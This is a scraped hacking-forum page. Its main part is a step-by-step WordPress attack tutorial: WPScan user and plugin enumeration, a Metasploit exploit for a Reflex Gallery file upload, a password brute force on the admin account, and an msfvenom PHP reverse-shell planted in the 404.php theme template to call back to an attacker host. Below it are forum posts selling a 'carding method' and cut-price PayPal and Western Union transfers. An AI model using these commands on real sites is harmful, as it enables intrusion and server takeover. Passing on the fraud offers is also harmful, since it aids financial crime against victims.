./wpscan.rb -u

[To see content please register here]

--enumerate vp
[Image: 8.png?w=687&ssl=1]

After a few seconds, you will get the result of the installed vulnerable plug-in of the website. From the given image you can observe that the red color indicates vulnerable plug-ins as well as a link of exploits CVE.
[Image: 9.png?w=687&ssl=1]

Exploit vulnerable plug-in using Metasploit
This module exploits an arbitrary PHP code upload in the WordPress Reflex Gallery version 3.1.3. The vulnerability allows for arbitrary file upload and remote code execution.
Open the terminal load Metasploit framework and execute the following command:
use exploit/unix/webapp/wp_reflexgallery_file_upload
msf exploit(wp_reflexgallery_file_upload) > set rhost 192.168.0.101
msf exploit(wp_reflexgallery_file_upload) > set targetURI /wordpress/
msf exploit(wp_reflexgallery_file_upload) > exploit
1
2
3
4
use exploit/unix/webapp/wp_reflexgallery_file_upload
msf exploit(wp_reflexgallery_file_upload) > set rhost 192.168.0.101
msf exploit(wp_reflexgallery_file_upload) > set targetURI /wordpress/
msf exploit(wp_reflexgallery_file_upload) > exploit
Awesome!! From the given image you can observe the meterpreter session of victim’s web server.
meterpreter> sysinfo
1
meterpreter> sysinfo
[Image: 10.1.png?w=687&ssl=1]

Enumerating WordPress Usernames
In order to enumerate usernames of WordPress website execute the following command:
./wpscan.rb -u

[To see content please register here]

--enumerate u
1
./wpscan.rb -u

[To see content please register here]

--enumerate u
[Image: 10.png?w=687&ssl=1]

After some time it will dump the table of usernames. In this scan I had found three users with their Id as given below:
ID 1: admin
ID2: ignite
ID: demo
1
2
3
ID 1: admin
ID2: ignite
ID: demo
[Image: 11.png?w=687&ssl=1]

Enumerate ALL with a single command
Whatever we have scanned above can be easily enumerated at once by executing given below command:
./wpscan.rb -u

[To see content please register here]

-e at -e ap -e u
1
./wpscan.rb -u

[To see content please register here]

-e at -e ap -e u
–e: at: enumerate all themes of targeted website
–e: ap: enumerate all plugins of targeted website
–e: u: enumerate all usernames of targeted website
[Image: 12.png?w=687&ssl=1]

Brute force attack using Wpscan
With help of username which we had enumerated above, we can create a wordlist of password for user admin and can try brute force login attack using given below command.
./wpscan.rb –u

[To see content please register here]

--wordlist /root/Desktop/dict.txt --username admin
1
./wpscan.rb –u

[To see content please register here]

--wordlist /root/Desktop/dict.txt --username admin

It will start matching the valid combination of username and password for login and then dump the result, from the given image you can see it found login credential of the targeted website as admin: password.

Generate PHP backdoor in WordPress
You can use above credential for login into admin panel where we can upload any theme, taking advantage of admin right we will try to upload the malicious script to achieve reverse connection from victim’s system.
Once you are inside admin panel click on Appearance from the dashboard and then select option editor.
[Image: 14.png?w=687&ssl=1]

Now select template 404.php given on the right side of the frame; after that, you will found some php code in the middle frame for 404 temperate. Erase the entire php code so that you can add malicious php code for generating backdoor inside website as a new theme.
[Image: 15.png?w=687&ssl=1]

Now use msfvenom to generate malicious PHP script and type following command.
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.107 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.107 lport=4444 -f raw
From the screenshot you can read the generated PHP script, at this instant we need to copy the text from *<?php……….die(); further, we will paste it inside WordPress template as a new theme.
[Image: 16.png?w=687&ssl=1]

Now past above copied PHP text *<?php……….die(); here as new theme under selected 404.php template.
[Image: 17.png?w=687&ssl=1]

On the other hand Load Metasploit framework and start multi/handler
use exploit/multi/handler
msf exploit(handler) >set payload php/meterpreter/reverse_tcp
msf exploit(handler) >set lhost 192.168.0.107
msf exploit(handler) >4444
msf exploit(handler) >exploit
1
2
3
4
5
use exploit/multi/handler
msf exploit(handler) >set payload php/meterpreter/reverse_tcp
msf exploit(handler) >set lhost 192.168.0.107
msf exploit(handler) >4444
msf exploit(handler) >exploit
[Image: 18.png?w=687&ssl=1]

When you will execute your uploaded theme 404.php in the browser you will receive reverse connection at multi/handler and get a meterpreter session of victim’s system.

[To see content please register here]

Here form screenshot you can see through meterpreter we have access victim’s shell.
meterpreter> sysinfo
1
meterpreter> sysinfo
In this way using WPSCAN and METASPLOIT admin can check the strength and weakness of WordPress website.
[Image: 20.png?w=687&ssl=1]

2020 CARDING METHOD READY

Posted by: clarke - 05-13-2020, 10:55 PM - Forum: I Service - No Replies

	All kinds of guides 2020 ready at cool rates just hit me up TELEGRAM;@flexoflan ICQ;@Myoflan

Special price for regular buyer.

Posted by: clarke - 05-13-2020, 10:46 PM - Forum: I Buy - No Replies

	if you have any questions please ask about paypal Transfer/paypal Account/cash App and Western union transfer at cool rates $500 for $50 $1000 for $100 $2000 for $200 $3000 for $300 $4000 for $400 $5000 for $500 *HIT ME UP...... ICQ;@Myoflan TELEGRAM;@flexoflan

HELLO ALL

Posted by: clarke - 05-13-2020, 10:42 PM - Forum: Hello World! - No Replies

	HI LOVELY PEOPLE AM NEW HERE HOW ARE U ALL DOING

How to make 1k views in YouTube without any type of promotion! - Tutorial

Posted by: ~~hacxx~~ - 05-13-2020, 10:00 AM - Forum: Hacking - No Replies

How to make 1k views or more in YouTube without any type of promotion!

1 - Download iStripper -

[To see content please register here]

2 - Download Camtasia Studio -

[To see content please register here]

3 - Record a video with iStripper running.

4 - Edit the video with Camtasia Studio.

5 - Save and upload the video to Youtube

6 - Add a link and description

7 - Set to adult audience (+18)

8 - Save and exit

Universal Bypass - Shortener link Unlocker Extension

Posted by: ~~hacxx~~ - 05-12-2020, 12:23 PM - Forum: Hacking - No Replies

Universal Bypass is a shortener link unblocker extension. It works with almost any shorteners and is able to automatically add new shortener site to the program. Works with Chrome, Brave, Firefox, Edge, etc.

Install :

[To see content please register here]

Here is a test file

[To see content please register here]

Pages ({1}): « Previous 1 … 849 850 851 852 853 … 1224 Next »

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis